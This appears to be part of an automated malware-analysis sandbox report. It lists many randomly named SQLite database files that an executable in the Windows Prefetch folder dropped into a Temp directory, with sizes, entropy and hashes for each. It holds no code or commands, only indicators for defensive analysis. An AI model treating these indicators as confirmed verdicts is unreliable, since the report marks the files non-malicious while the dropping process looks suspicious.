SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\TvFZ4Odsaw

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\U5veTVdshG

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\UP7pdUPNMN

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\UP7xlfBkwQ

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\UmZaDB99ny

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Utub242wab

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\V3gJ1oCMrK

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\V5qcH4vQA7

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\VEAyO7Ny5R

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\VEW9A1EszE

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\VHiam9qcts

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\VmIEG1A40a

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\W7PM2DQyUZ

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\WUqhDsmpfm

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Wq8krowcO2

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\XfrRZL3RDb

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Xj9E7nQpb7

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Y5bILvO2lQ

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\YKG8FCayKi

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Ytcb5MrDL8

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZFfbtcutmx

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZKbQ74hJMK

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZOt4ZGMtoG

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZWEaULBUJn

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\a5oLm9xcoE

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\aXSPy2UYlE

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
